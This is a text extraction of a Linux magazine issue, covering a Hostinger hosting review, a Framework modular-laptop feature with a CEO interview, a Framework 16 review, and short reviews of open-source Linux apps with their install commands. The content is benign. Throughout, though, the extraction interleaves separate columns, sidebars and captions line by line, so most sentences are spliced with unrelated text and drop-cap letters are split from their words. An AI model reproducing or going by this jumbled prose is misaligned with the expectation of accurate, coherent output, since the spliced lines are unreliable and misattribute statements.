business- monitoring, malware scanning and analytics, it makes setting up SPF and DKIM records (to authenticate
critical sites. sure you can manage every aspect of your website emails and protect against phishing), are just a click
directly from Hostinger’s hPanel. For beginners, it goes or two away, too.
above and beyond the industry standard control panel Unusually for a top hosting provider, Hostinger
cPanel and does a good job of hiding away confusing doesn’t have telephone support. There’s 24/7 live
techy stuff, presenting everything in a logical manner. chat, though, and email or ticket support if you prefer.
When it comes to VPS offerings, you’re on your Hostinger says that telephone support just slows down
own. VPS tend to be aimed at people with experience getting things done and that it has been able to fix
setting up and managing servers, and in exchange for issues faster by removing this option.
far more performance for your money, you need to We opened a ticket asking how we could install
know how to run and manage the server yourself. WordPress on a subdomain. The reply arrived only
We measured Hostinger’s performance by setting 17 minutes later – just about as speedy as we could
up a test WordPress website, then using Uptime.com expect for ticket support. The text used more jargon
to monitor its speed and any downtime from multiple than we’d like, but was accurate and included all the
locations around the world. Although our site was detail we needed to figure out a solution. Live chat is
hosted on the most basic plan, it still managed an also available whenever you need it.
excellent 100% uptime record over 10 weeks. Prices are very competitive, starting at £2.49 per
We measure website load speeds with help from month for a four-year plan. Having said that, the pricing
GTmetrix. Hostinger scored here with a speedy LCP of can be a bit confusing and renewal prices can change
0.607 seconds, the second fastest result in our last 15 based on things such as whether you have auto-renew
tests, just behind HostGator. enabled. So, we do recommend that you take more
Hostinger has data centres in eight countries: the time to look at the long-term cost of your plans.
USA, UK, France, Netherlands, Lithuania, Singapore,
India and Brazil. That’s far more than most hosts, and
it’s especially good to see a service that doesn’t purely
VERDICT
focus on North America and Europe. There is one DEVELOPER: Hostinger
catch, though: some plans don’t support all the data WEB: www.hostinger.co.uk
centres. The Shared, Cloud and WordPress plans are PRICE: From £2.49 per month
available everywhere, but Hostinger’s Linux VPS plans
can’t be hosted in France, Netherlands or Singapore. FEATURES 8/10 EASE OF USE 9/10
Hostinger doesn’t offer cPanel to its shared hosting PERFORMANCE 8/10 VALUE 9/10
users, opting to provide its own custom hPanel
CREDIT: Hostinger

platform instead. Custom control panels make us wary, Attractive prices, ease of use, and fantastic features make
probably because most of them are underpowered in Hostinger a great choice for both novice and advanced users.
the extreme, but hPanel is a rare exception.
Most functions are accessible to even novice users. Rating 9/10
Creating an email address, for instance, is as easy as

www.techradar.com/pro/linux April 2024 LXF313 77


IN DEPTH Framework

Three years on, the DIY laptop concept has come of age. Contributions from: Alex Cox, Dave James, Paul Lilly, Desire Athow

oday’s laptops offer limited DIY upgrade options though, was the hyper-focus on user customisation, repairs

T at best, such as RAM or storage. At worst, just


getting inside the thing can be a chore, only to
find the RAM is soldered to the motherboard,
and upgrades. From socketed storage and RAM to even the
mainboard and display, Framework’s promise is that it is all
easy to access and rip out as needed.
and you tore a ribbon cable when you pried off the panel. “High-use parts like the battery, screen, keyboard and
It doesn’t have to be this way. If we roll the clock back to colour-customisable magnetic-attach bezel are easy to
2021, a startup called Framework decided to take a different replace. QR codes on each item take you directly to guides
approach with a modular laptop designed to make all sorts and the listing in our web store,” Framework says.
of upgrades easy. “The conventional wisdom in the industry The feasibility of a modular laptop is predicated on
is that making products repairable makes them thicker, Framework offering future hardware upgrades that will fit,
heavier, uglier, less robust, and more expensive. We’re here and to that end, the company says it intends to offer new
to prove that wrong and fix consumer electronics, one parts “regularly.” It’s also making this an open ecosystem, so
category at a time,” Framework explains. that other companies can sell compatible parts and modules.
Framework’s first effort consisted of a 13.5-inch laptop Even in those early days, Framework planned to offer
that somewhat resembled a MacBook. It was built around different preconfigured models running Windows 10 (don’t
Intel’s 11th-Gen Core processors, configurable with up to panic, Linux fans) as well as a Framework Laptop DIY Edition
64GB of DDR4 memory, 4TB (or more) of PCIe 4.0 SSD “available as a kit of modules that you can customise and
storage, and Wi-Fi 6E connectivity. What really stood out, assemble yourself”. Either way, Framework will include a

78 LXF313 April 2024 www.linuxformat.com


Framework IN DEPTH

The new removable GPU units for the Framework 16. A number of processor and mobo upgrades have been released.

screwdriver, to drive home the point it designed these seem to ship within a week or two in the US, while
systems to facilitate tinkering. In the age of right-to- support has been expanded to the UK and Europe.
repair, this took the idea and launched it into orbit.
The original Framework DIY laptop was launched in Gimmick mimic
March 2022 and provided an entirely configurable That original Framework laptop really impressed and
system, from barebones where you supply your own offered genuine excitement. The ‘gimmick’ behind its
RAM and SSD to fully tricked out with slot-in expansion design is so fundamental that we can’t believe the
cards. While you can’t order a Framework laptop with market has come this far without it being the norm –
Linux installed, Framework is taking the time to certify or at least commonplace. It’s a machine with right-to-
that its hardware is officially compatible with Ubuntu repair and real design genius hard-baked into its core.
and Fedora, alongside providing support for those This has been tried before. The Alienware Area-
two distros. More recently, this has been expanded to 51m, for example, was meant to be upgradable, but it
include community supported options, with Linux was horrendously expensive, immensely chunky, and
Mint and Manjaro XFCE currently listed. For exact Dell seemed to get bored of the concept very quickly.
Linux support, see https://frame.work/gb/en/linux. Framework, on the other hand, has not simply given
Framework is doing its own thing, including lip service to the idea of a repairable platform; this
fulfilment, so is issuing its machines in batches. These laptop is literally built around it. Our DIY edition came

CAPTURING THE BUSINESS BUCKS


Framework for Business, business customers, as well as what we needed to develop
what’s that about? the Chromebook Edition and was infrastructure around
Nirav Patel: For the last two refurbished products. volume deployments, business
years, we’ve been piloting purchasing and support. We
Framework Laptop LXF: Do these differ from have been able to build this
deployments with a range your consumer units? out over the last couple of
of small and mid-sized NP: Unlike many other years, which puts us in a good
businesses looking for better, notebook OEMs, we build a position to now be able to
longer-lasting computers. single product line that works open the Business programme
We’ve taken learnings from well for consumer, SMB and to more customers.
those partnerships into the enterprise customers. We
public launch of Framework develop and test our products LXF: Why would businesses
for Business, which gives to commercial notebook buy from Framework? What’s
CEO Nirav Patel worked on the One businesses more context standards, which are stricter your USP?
Laptop Per Child project as a student. around how to evaluate, than what is typically used NP: Much like for consumers,
purchase and maintain for consumers. we are finding that for
Linux Format’s newly Framework Laptops, and businesses, the unique draw
appointed business editor, also provides a direct line LXF: What were the biggest of a Framework Laptop is in
Desire Athow of TechRadar to our Business team. obstacles when creating enabling deeper ownership
Pro fame, caught up with the scheme? and greater product longevity.
Framework CEO Nirav LXF: The trial was only the NP: We designed the hardware Businesses have a strong
Patel to see how setting 13-inch model – is that from the outset to be excellent desire to be able to fix
its sights on the business remaining the case? for a broad range of users and problems directly on the
CREDIT: Framework

market can help cement NP: We’re making both the use cases. When starting to spot and be able to get their
Framework’s foundation. Framework Laptop 13 and work with businesses, we employee base up and running
LXF: Framework is launching the Framework Laptop 16 found that the product itself again. Especially for small
a B2B program called available to purchase for was already a great fit, and businesses, what we’ve found

www.techradar.com/pro/linux April 2024 LXF313 79


IN DEPTH Framework

Modularity even silly fat shape of the Area-51m. This is smart. It blends
extends to the in with the MacBooks and Dell XPS 13s of this world,
keyboard layout.
and manages to be internally friendly while doing so.
And then there’s the ports. Oh, the ports. Apart
from the combo audio jack midway along the left side,
they’re entirely modular, supplied as square slide-in
units with a male Type-C connector on one end and
whatever you need on the other. Want to put an SD
card slot on the right and HDMI on the left? Go for it.
Need extra storage? Drop in a terabyte. Want four
DisplayPort outputs? Uh, OK, you can technically do
that, but we can’t guarantee the integrated graphics
will be happy handling all those screens at once.
There are four slots in all, to be populated as
unpopulated; to get it going, we had to open it to insert you wish – though if you’re planning to charge the
RAM and storage. Messing with internals is a prospect Framework Laptop, you’ll want to plug in a Type-C port,
that, in a regular laptop, elicits a sigh and the possibility at least while the battery fills. Only four at a time may
of breaking or losing something. Not so here. feel restrictive if you don’t look at the port-starved
Five screws in the base is all it takes to release the designs of most modern portable PCs. You may well
keyboard and get into the guts. Every replaceable item lock ’em in and never change your configuration.
inside and out – and there’s a glut of them – is lovingly Jump forward three years and the good news is
labelled with details on where to get a new one. You not only is Framework still here – let’s not underplay a
can even switch out the mainboard in the future. pandemic and cost of living crisis – it’s expanding and
Everything’s so straightforward – adding RAM and thriving. It launched its promised marketplace, where
an M.2 SSD took seconds because Framework has vendors can sell Framework upgrades and expansions.
put them in a sensible place and designed it to be that It’s built up its networks to supply and support laptops
way. And for all those manufacturers who highlight the worldwide. It released a Chromebook version of its
slimness, sturdiness or curviness of their products as laptop, and in 2023 released a 13-inch model, and at
the reason they don’t want you taking them apart, the start of 2024 an all-new 16-inch model that we
Framework has built a fully accessible laptop platform review opposite. It feels like the ball is rolling and has
that still retains a sleek and vaguely sturdy shell. enough momentum that it’s not going to stop. With the
Generic it may be, but this looks nowhere near as Framework 16 offering an upgradable GPU, Framework
clumsy as the DIY chassis of the past, or (again) the is set to take over the gaming world, too.

CAPTURING THE BUSINESS BUCKS CONT.


is that many IT managers moving to Framework user issues. As we continue This is a mission we will
are purchasing consumer Laptops is to achieve ESG to grow the Framework for continue to bring across more
notebooks and getting goals and reduce their Business programme, we’re categories of computing and
consumer-level support, environmental footprint. adding additional dedicated electronics as we go.
needing to send laptops For many businesses, the support resources focused on
out to service depots when computers they are buying business customers. LXF: Given how quickly
there are issues, resulting and replacing on three-year your batches sell out, is
in employee downtime and cycles are some of the most LXF: Are you looking to trial Framework considering
risk around sensitive data. environmentally damaging PC-as-a-service or leasing significantly increasing
With a Framework Laptop, activities they are engaging in. rather than buying outright? production volumes?
the IT manager can instead With Framework Laptops, they NP: Device-as-a-service (DaaS) NP: Especially with the massive
quickly and easily swap a have the ability to lengthen isn’t something we plan to response we’ve seen on
module to resolve an issue their replacement cycles, offer directly, but we have Framework Laptop 16, we are
without the computer ever reducing both cost and worked with managed service working with our suppliers to
leaving the building. environmental impact. providers (MSPs) who offer continue to increase our
We’ve also found the DaaS and find that Framework product capacity. In the
deep customisation and LXF: As a challenger brand, Laptops are uniquely well meantime, the Framework
upgradability to be a draw. how will Framework deal with suited for that model. for Business team has units
With Framework Laptops, not after sales support? Do you reserved to be able to offer to
only can the company custom- plan to offer longer warranties LXF: Are you considering businesses to enable pilots.
configure processor, memory, for business orders? other business products? With the Framework Laptop
storage and OS selection, but NP: Extended warranties are NP: With the success and 13 (13th-Gen Intel Core), we’re
can even choose what ports an area we are currently growth we’re seeing on the now shipping most orders
they would like on their laptops exploring. In addition to guides Framework Laptop, we are directly from inventory within
and change them as needed. and documentation, we have a confident that the mission five business days, and that is
Finally, one of the biggest support team that handles and product philosophy is the target we aim to achieve
reasons we see businesses contacts and resolves end resonating with customers. for all of our products.

80 LXF313 April 2024 www.linuxformat.com


Framework 16 REVIEW

Framework Laptop 16
Slapping parts together, Dave James takes this
modular laptop with upgradable GPU for a spin.
he Framework 16 is the laptop we’ve always
SPECS
Model:
T wanted. Well, if you put the Framework 16’s
GPU party piece into the Razer Blade 14, you’ve
Performance got the laptop we’ve always wanted, but this is a vital
Pro step down that path. And without Framework, there’s no
CPU: AMD chance of getting there; it’s also incredible this innovative
Ryzen 7 machine works so well even in this first generation.
7840HS Because this is a new breed of notebooks. One that
GPU: AMD ought to pave the way for genuinely upgradable laptops,
Radeon 780M, in almost the same way we have endlessly configurable
AMD Radeon desktop PCs. For all the promise of MXM modules, this
RX 7700S (8GB is the first laptop in which you can replace the graphics
GDDR6, 100W card in six twists of a Framework-supplied screwdriver.
TGP) module Its party piece is the ability to remove the graphics
Mem: 16GB card as easily as you can a desktop PC’s add-in board. It’s
DDR5-5600 all housed in a removable module that slots into the rear, The first Framework Laptop with upgradable GPU.
(2x 8GB) and can also be replaced with a blank housing if you just
SSD: 512GB want to run on the machine’s processor graphics. can have it on either side. If you prefer a left-side
M.2 2280 The promise here is that, much like with Framework’s numpad, this is the first laptop to ever give that option.
PCIe Gen 4 existing mainboard offerings, you’ll eventually be able to There’s also an optional RGB macro-pad to fill that
Display 16-inch, buy a next-gen module that adds a new, more powerful numpad space, too, which is a 24-key clear keycap pad
2,560x1,600, generation of graphics silicon to your machine. You will that you can configure how you like through Framework’s
165Hz, anti- no longer have to buy an entirely new laptop if you want configuration tools. The tools, for both the keyboard and
glare, FreeSync to use a new line of mobile graphics. the optional LED matrix spacers – yeah, you can properly
Comms: AMD glow up your machine – are largely online, which makes it
RZ616 Wi-Fi 6E, Do drop in all very accessible whether you’ve gone for the straight
Bluetooth 5.2 Framework has made it its mission to create a business Windows prebuild or the DIY option and Linux.
Ports: Six on the back of the idea of offering total upgradability This issue with all this modularity is in the final finish.
custom bays with its own laptops, and its Framework 13 machine Where we’ve become used to our laptop chassis hewn
Camera: 1080p, delivered on that for non-gaming notebooks. It’s so far from single pieces of aluminium, the use of spacers
privacy switch three generations into Intel mainboards and has started either side of the trackpad module to allow it to move
Power: Battery offering AMD mobos, too, all able to be dropped into the means there’s a necessary break in the finish. And it
85Whr same machine you might have bought three years ago. doesn’t look great, most especially if you’re offsetting
PSU: 180W But this is Framework’s first stab at a proper gaming the trackpad for a left-sided numpad, where you end
GaN USB laptop with a discrete graphics card, and a modular, user- up with two of the thin aluminium spacers side by side.
Type-C upgradable one at that. It offers the same modular inputs Again, it’s a somewhat inevitable consequence of
Size: on either side of the chassis, except with this larger the ultra-modular design, and while the finish isn’t totally
356x270mm frame, you get space for two more. These are identical to MacBook-perfect, it’s still a compromise we’re absolutely
Weight: 2.4 kg Framework’s other input modules, offering you almost OK with in exchange for all the ease and utility that
with graphics complete choice as to how to configure your machine. comes with Framework’s customisable approach.
module Want to fill all six slots with USB Type-C ports? Go for
it. Need a couple of HDMI and maybe a DisplayPort and
Ethernet connection to boot? No problem. Want to mix
VERDICT
and match depending on whether you’re at home or on DEVELOPER: Framework
the move? They’re as easy to switch as a USB stick. WEB: http://frame.work
It’s a refreshing approach, but the 16-inch goes PRICE: £1,749
further than the original 13-incher in every respect. One
of the things we love the most about the modularity of FEATURES 9/10 EASE OF USE 7/10
the Framework 16 is the configurability of the keyboard. PERFORMANCE 8/10 VALUE 6/10
We’re fine with a mono-colour LED backlight, so the The Framework Laptop 16 is the most customisable laptop
extra RGB options aren’t a huge sell, but the option to we’ve ever seen, with tons of input and port options, and the
have a numpad as and when you want it absolutely is. promise of upgradable graphics.
So, if you just want the standard keyboard on its own,
that’s fine, but shift it over to one side and there’s space Rating 8/10
for a good sized numpad to drop in. And better still, you

www.techradar.com/pro/linux April 2024 LXF313 81


GET ALL THE ESSENTIAL BREAKING
NEWS FOR THE TECH ENTHUSIAST!
No matter if you're building a PC,
buying a laptop or learning about
robots, Tom's Hardware has all the
comprehensive knowledge you need.

Scan & Subscribe


for free!

Make Python work for you with


tutorials on coding with Django, Flask,
Pygame and even more useful third-
party frameworks.
THE BEST NEW OPEN SOURCE SOFTWARE ON THE PLANET

Mayank Sharma
is worryingly efficient at
Index QDirStat VokoscreenNG Atop Sleek finding ways to waste time
online, especially after he’s
SimpleX Chat RustDesk UnCiv Naikari rummaged through repos

Nyxt Pin It!


to find open source gems.

FILE MANAGER

Index
Version: 3.0.2 Web: https://
mauikit.org/apps/index/

ile managers are an integral part of any

F desktop, and although your distro ships with


one, it might not be suited for your workflow.
In case you’re on the hunt for alternatives, MAUI’s
Index is a very capable option.
The MAUI project churns out stunning-looking
apps that are designed to work across desktop and
mobile devices. It isn’t the first project to attempt a
convergent user interface, although it is one of the
first to actually make it work.
Index is available as an AppImage, so all you need to While Index works on Android devices as well, on the desktop it doesn’t look as elegant on non-
do is download it from the official website and turn it KDE desktop environments such as Gnome.
into an executable, either from your existing file
manager or with the chmod +x command. LET’S EXPLORE INDEX...
At first glance, Index doesn’t look very different from
your existing file manager. It can create, move and
delete files and folders, and supports all the basic 2
functions of a file manager.
It has a tabbed interface, and can display files and
folders in a list (which is toggled by default) or an icon
grid. You can use the file manager to browse other
internal disks, and plugged-in USB sticks and SD cards, 1
as well as network folders. There’s also an integrated
search feature that you can use to hunt for files, both 3
locally and across the network.
In addition to all this, Index also helps you organise
your content by using tags and bookmarks. You can
add tags to files, and favourite them, and even
bookmark folders for quicker access. Additionally, 4
you can also choose custom colours for folders for
easier identification.
Quick access Split views and more
Index also has an embedded file previewer that 1 Use this panel to browse though your 3 You can use Index to look at two locations
works with music, text, images and video files, and favourite folders and tags, or quickly jump to side by side with split view, and even get a full-
helps you view these files in a pop-up without using an bookmarked folders, remote locations and featured embedded terminal.
external app. The previewer also displays several bits other drives.
Actions bar
of essential information about the file. One of the file 4
Tab bar When you select multiple files, Index
manager’s best features is the ability to share files with 2 Index can open folders and locations in displays an actions bar at the bottom with
others, via Bluetooth, email or Nextcloud, or via Imgur multiple tabs, and gives you the option to close useful options that you can apply on the
if it’s an image. the active one. selection collectively.

www.techradar.com/pro/linux April 2024 LXF313 83


HOTPICKS

DISK STATISTICS

QDirStat
Version: 1.9 Web: https://github.com/
shundhammer/qdirstat

ondering what’s eating up your disk space?

W QDirStat can help you visualise your disk


usage to better keep track of large files
and delete them if required. Unlike some of its peers,
QDirStat doesn’t report its findings in numbers and
percentages, but instead uses a graphical map.
The app is available in the official repos of popular
distros. Ubuntu users can use sudo apt install qdirstat
to install it, while sudo dnf install qdirstat installs the actual size and more. You can also expand any folder By right-clicking
app in Fedora. and see its contents. on a folder, we
can compress
When you launch QDirStat, it asks you for the path Then there’s the data graph view that represents
its content to
of the directory that you want it to scan. For most the contents of the scanned folder as squares of reduce the space
people, the best place to scan is the home directory. different colours in descending order of their size. To it occupies.
The app then starts analysing the content of the view a file in this view, click on any square, which shows
selected directory. the exact location of the data in the tree view above.
When it’s done, which could take a while, QDirStat To delete a file in either of the two views, right-click
presents its findings in two different ways in the main on a search result and select the Delete option, which
window. The first method is the tree view, which, by instantly zaps the file from the disk. There’s also the
default, lists the directories based on their size. In Move To Trash option, which is the safer of the two.
this view, you can see the amount of disk space a Besides the two delete options, the context menu has
folder occupies in terms of percentage of use, its several other useful options as well.

SCREEN RECORDER

VokoscreenNG
Version: 4.0.0 Web: https://linuxecke.volkoh.
de/vokoscreen/vokoscreen.html

hether you want to create educational content

W or demonstrate an error while looking for help,


screencasters are an essential Linux utility. No
surprise, then, that there’s no dearth of these apps, and
Gnome even ships with one built-in.
Unlike many screencasters, VokoscreenNG is
dexterous enough to appeal to a wide variety of users. defaults, so you can’t go wrong if you hit the Start Virtually all of
The app is available in the official repos of most button to begin recording the screencast, which is the parameters
in VokoscreenNG
desktop distros. However, to ensure you have the placed in the ~/Videos folder. have an i button
latest release, it’s best to get the app from its website. Once you’ve recorded your first screencast with the next to them that
Thankfully, the app is distributed as a Flatpak, which default settings, take a moment to dive in and explore brings up helpful
makes installation pretty straightforward. its interface, and sample some of its famed dexterity. information
regarding their
If your distro is configured to install Flatpaks, all you The app has a bunch of tabs both horizontally and
function.
need to do is fire up a terminal and type flatpak install vertically. Flicking through the tabs, you can, for
flathub com.github.vkohaupt.vokoscreenNG . When instance, choose to record the entire desktop, a
installed, the app is available in the Applications menu, specific area or a specific window.
and can also be launched with flatpak run com. You can also zoom in and even add a delay before
github.vkohaupt.vokoscreenNG . starting the recording. Similarly, you can choose the
The downside of its dexterity is that VokoscreenNG audio source and also include video from a webcam in
doesn’t have the simple, straightforward interface you the screencast. By default, screencasts are saved as
get with most of its peers. But the app has reasonable MKV, but it also supports MP4, WebM, AVI and MOV.

84 LXF313 April 2024 www.linuxformat.com


HOTPICKS

SYSTEM MONITOR

Atop
Version: 2.10.0
Web: www.atoptool.nl

ong-time Linux users and CLI warriors will be

L familiar with the Top system monitor and its


newer, colourful and more interactive cousin,
Htop. For a much deeper look into the system, however,
you need Atop. It displays tons of information related
to the amount of load on the system’s resources at the
process level. memory consumption, disk I/O, priority, username, Use atop -B to
The app is available in the official repos of popular state and a lot more. bring up Atop in
bar graph mode,
distros. Ubuntu users can use sudo apt install atop to The good thing about Atop is that it stays active in
which displays a
install the app, while sudo dnf install atop installs the the background, recording all activity, which makes it a graphical overview
app in Fedora. good option for long-term analysis. By default, it writes of the computer’s
Once installed, type atop in the terminal to fire up snapshots to a compressed log file in /var/log/atop. resource
the tool. Since it can display privileged information, it’s These files are named atop_yyyymmdd. For example, utilisation.
best run with superuser privileges, such as sudo atop . atop_20240102 is the log for 2nd January 2024.
Atop’s layout is divided into two panels. The upper This log file can be read with atop -r /var/log/atop/
panel provides the cumulative use of the system’s atop_20240102 . When loaded, the snapshot displays a
resources, whereas the bottom one displays timestamp. Press t (lower case) to move forward to the
disintegrated information for each process. next snapshot, and T (upper case) to go back to the
By default, it shows system activity for CPU, previous snapshot.
memory, swap, disks and network. In addition, for each As with most CLI utilities, it’s best to scroll through
process and thread, you can analyse CPU utilisation, Atop’s man page to fully appreciate its true capabilities.

TO-DO

Sleek
Version: 2.0.8 Web: https://github.
com/ransome1/sleek

inux has a ton of to-do apps, but some are

L either too simplistic or too full-featured for an


everyday desktop user. Sleek aims to strike
the right balance between the two extremes. It has
all the features you’d expect in a to-do app for an
everyday user, coupled with a simple interface.
The application is based on the todo.txt syntax,
which is a plain text format, and if you follow its
markup syntax, you can create a to-do list. Think of Tasks in Sleek have a priority based on the alphabet. Sleek offers
Sleek as a graphical front-end that you can use to Higher letters have a greater priority, which means a light and a
dark mode, and
create a todo.txt file without having to worry about A has the highest priority and Z the lowest. You can
keyboard warriors
the syntax. choose the priority from the drop-down menu or just will appreciate
Sleek is officially available as an AppImage that you type it in while creating the task. that they can
can download and make an executable from the file There are also pull-downs to set a due date or complete most
manager or with chmod +x . It’s also available as a define a threshold date, which keeps the task hidden tasks via keyboard
shortcuts.
Flatpak that you can install with flatpak install until a specified date. The recurrence pull-down helps
flathub com.github.ransome1.sleek , or from the you define the frequency for a recurring task.
Snap store with sudo snap install sleek . Whenever you use a pull-down menu – to add a due
You can use Sleek to import existing todo.txt files date or a recurrence schedule, for instance – Sleek
or create new ones. Once you create or open one, you adds the relevant todo.txt syntax, such as due: and
can start adding items to the list. rec:, to the task.

www.techradar.com/pro/linux April 2024 LXF313 85


HOTPICKS

INSTANT MESSENGER

SimpleX Chat
Version: 5.4.4
Web: https://simplex.chat

here was a time when communicating via


T centralised servers was the only option for
non-technical everyday users. But that’s passé,
thanks to messengers such as SimpleX Chat, which
connects participants directly to each other, and connection channels, such as double ratchet and end- In addition to
doesn’t even require identifiers like user IDs. to-end encryption. its plethora of
private and secure
SimpleX is a cross-platform app that works on all SimpleX has two means of establishing contact: a features, SimpleX
mobile platforms and desktop OSes. On Linux, it’s SimpleX contact address or a one-time invitation link. Chat also lets you
distributed as an AppImage that you can download The latter, as the name suggests, can only be used once. create anonymous
from its website. Then give it executable permissions On the other hand, a SimpleX contact address can be secret groups.
either from the file manager or with chmod +x . used many times, and is designed for sharing on social
When you first launch the app, you’re asked to media platform profiles or in email signatures.
create a profile, which involves entering your name Both addresses are available as QR codes or a long
and a database passphrase. SimpleX prompts for this string of plain text. The channel through which you
passphrase on subsequent launches. Keeping in line share the addresses doesn’t have to be secure, as long
with its privacy promise, the profile including the as you can confirm the identity of the recipient.
passphrase is stored locally on your computer or device. Also, unlike addresses in other platforms, SimpleX
SimpleX communicates via the homegrown SimpleX addresses are not used to deliver the messages, only
Messaging Protocol (SMP) this virtually negates the to establish the connection. Once connected, you can
possibility of Man In The Middle snooping. The app exchange text messages, and make audio and video
uses several security mechanisms for securing the calls, as you would on a regular, centralised chat client.

If you aren’t
REMOTE DESKTOP using it through

RustDesk
your own server,
RustDesk parses
the connections
through one of
its two servers
based in Germany
Version: 1.2.3 and Kyiv.

Web: https://rustdesk.com

ll the popular remote desktop apps are closed

A source, and route traffic through a centralised


server that’s not under your control. RustDesk
isn’t just open source, but optionally also helps you
wrest back control by enabling you to set up your own
routing server, if you want to do so. saves the effort of having to type the password, which
RustDesk clients are available for all popular mobile is a nice touch.
and desktop operating systems. On Linux, the app is By default, the app uses a balanced image quality,
distributed as an AppImage. Download it from its but you can optimise reaction time or image quality.
website and make it an executable, either from the When making the connection, RustDesk displays all
file manager or with the chmod +x command. the abilities the remote computer/device has, and you
RustDesk works pretty much like any remote can enable or disable them as per your needs. For
desktop software. When you fire it up, it spits out an instance, you can only allow the screen sharing ability
ID for the machine it’s running on along with a one- if you want the remote users to view your screen.
time password. Enter these details on the RustDesk In addition to screen sharing and remote control,
instance running on another computer or mobile you can use RustDesk to transfer files between the
device, and you’ll be able to remotely control the connected computers/devices, as well as exchange
original computer. instant messages. In terms of security, all traffic
If you are expecting the remote connection or trust between the connected computers/devices, including
the machine making the request for connection, you chats, screen sharing and file transfers, are end-to-end
can simply choose to accept the connection. This encrypted using the NaCl (salt) algorithm.

86 LXF313 April 2024 www.linuxformat.com


Games HOTPICKS

4X STRATEGY

UnCiv
Version: 4.10.4 Web: https://github.
com/yairm210/Unciv

n the Civilization series of turn-based strategy

I games, players win through 4X: eXplore,


eXpand, eXploit and eXterminate. The
Civilization games get their name from the use of
historical aspects from the evolution of society, going
all the way back to the dawn of civilisation. played the Civilization games. If not, you can use the UnCiv is so nimble
UnCiv is what you get when you maintain the Quickstart option to let the game pick these for you. that besides your
Linux desktop,
mechanics and gameplay of the penultimate Also useful for first-timers is the run-through of
you can run it on
Civilization release, Civilization V, without the pretty basic tasks that helps acquaint you with the game. an Android phone
3D graphics of the original. You start with a small settlement, and then go and even the
The open source remake is available as a Flatpak and about advancing your civilisation by researching Raspberry Pi.
can be installed with flatpak install flathub io.github. technologies, defeating enemies, and more. You
yairm210.unciv . have few options at the beginning, but the number
When you launch the game for the first time, you of things that you need to take care of quickly
are asked to select a language. The game has been escalates as your civilisation grows.
translated into several languages; however, except for The game’s graphics resemble the strategic
English, all others have some bits missing. view found in Civilization V, but in a pixel art style.
You can then start a new game, which presents an You can, however, change the appearance of the tiles
expansive screen with the usual options, such as the and even download tileset mods thanks to UnCiv’s
ability to select a map type and shape, world size and extensive mod support. The game also has a custom
such. These should be familiar to anyone who has map builder and a multiplayer function.

SPACE SHOOTER

Naikari
Version: 0.11.0
Web: https://naikari.github.io

f you like the exploration, trading and fighting

I aspects of UnCiv, you’ll love Naikari. The game


puts these to use in a space setting. You pilot
spaceships, delivering cargo and doing a handful of
other activities to get new ones.
Naikari is forked from Naev, another space direction opposite your current movement, which Although you can
exploration game. The two have different design can essentially bring it to a stop. clock several hours
playing Naikari,
philosophies, however, leading to Naikari having its You can also control the ship with the mouse. the game isn’t
own distinct gameplay. First enable mouse flight with Ctrl+X. You still thrust complete, and
Naikari is available as an AppImage and also as a forward with W, or with the middle mouse button if some storylines,
Flatpak. You can download the AppImage from its you have one. However, to turn the ship, just point it such as the Hakoi
Pirates campaign,
GitHub page and make it an executable using the file in the direction you want it to go.
end abruptly.
manager or with chmod +x . To install the Flatpak, use The controls and the fact that you pilot ships from
flatpak install flathub io.github.naikari.Naikari . a top-down perspective take some getting used to.
When you start a new game, you’re asked to enter When you are done practising, you land on the planet
your name, which Naikari then weaves into the story, Em 1 and continue with the story.
which is presented in novel-style text boxes. Naikari’s gameplay is made up of several missions,
Your first ship is the Armchair Traveller. The campaigns and storylines. The latest release adds
salesman congratulates you for the purchase and then missions that involve infiltrating pirate space, as well
explains the controls. The A and D keys rotate the ship, as a new generic mission to drop stranded pilots on
while W thrusts it forward. The S key rotates it in the an inhabited planet.

www.techradar.com/pro/linux April 2024 LXF313 87


HOTPICKS

WEB BROWSER

Nyxt
Version: 3.11.1
Web: https://nyxt-browser.com

ere’s something for the veteran Linux user.

H Nyxt is not just another web browser; it’s the


Emacs version of a browser. Written in Lisp,
Nyxt is inspired by Emacs, with highly configurable
keybindings, and its use of buffers and more.
Nyxt is available as a Flatpak and can be installed
with flatpak install flathub engineer.atlas.Nyxt .
Then fire it up from the Applications launcher or with
flatpak run engineer.atlas.Nyxt . bookmarks the URL open in the current buffer, while Head to Settings
As soon as you launch Nyxt, you know you’re not bookmark-buffer-url bookmarks URLs in all open > Keybindings to
make Nyxt follow
looking at a typical web browser. Click on Quick-Start buffers. You don’t have to memorise the commands either the Emacs
to familiarise yourself with its key concepts. Manual or keybindings as Nyxt automatically sorts through or the Vi key
brings up the browser’s detailed documentation, while them as soon as you key in the first few characters. bindings.
Describe Bindings shows a list of the keybindings. As well as using the mouse to navigate, Nyxt can
Using the browser involves using keybindings and also navigate via keyboard. The jump-to-heading
commands. For instance, Ctrl+l brings up the address command or Ctrl+h pulls up a list of headings on the
bar, while Alt+L creates a new buffer (a buffer in Nyxt is current page that you can scroll through and jump to.
a browser tab). The Alt+down keybinding shows a list Nyxt is not for the average desktop user, and
of buffers, while Ctrl+w closes the active buffer. using it takes some getting used to. That said, it
In the same vein, Ctrl+space lets you execute will feel like second nature to keyboard warriors,
commands. The command bookmark-current-url especially those used to working with Emacs and Vi.

APP SHORTCUTS

Pin It!
Version: 2.0.3 Web: https://github.
com/ryonakano/pinit

growing number of app developers are rolling

A out their apps as AppImages, as regular


readers of these pages would know. While it
doesn’t take much to run these apps, their only real
downside is that they don’t appear in your distro’s
application launcher or Gnome’s Activities Overview.
You can correct that with Pin It!, which is a simple
utility that helps create .desktop files on Linux. With
an appropriate .desktop file, the app appears in the for the app, followed by the name of the app as you Pin It! can also
Applications menu. want it to appear in the Applications menu. run an app in the
terminal, which
You don’t usually need to create .desktop files You can then enter a comment to describe the comes in handy
manually because most apps that are installed from app, which will appear as a tooltip. Follow this up with if you’re using it
pre-packaged binaries or from a distro’s package the path to the executable, which in the case of an to create an app
manager automatically create this file. However, some AppImage, would be the path to the AppImage file. launcher for a
CLI app.
apps – for instance, those that are distributed as You can also point to an image file to use as the
AppImages or apps compiled from source – don’t. app’s icon, before selecting the category the app
You can install Pin It! from Flathub with flatpak should appear under in the Applications menu.
install flathub com.github.ryonakano.pinit . The app When you’re done, smash the Save button, and the .
has a straightforward and intuitive interface. Click on desktop file is placed alongside other .desktop files
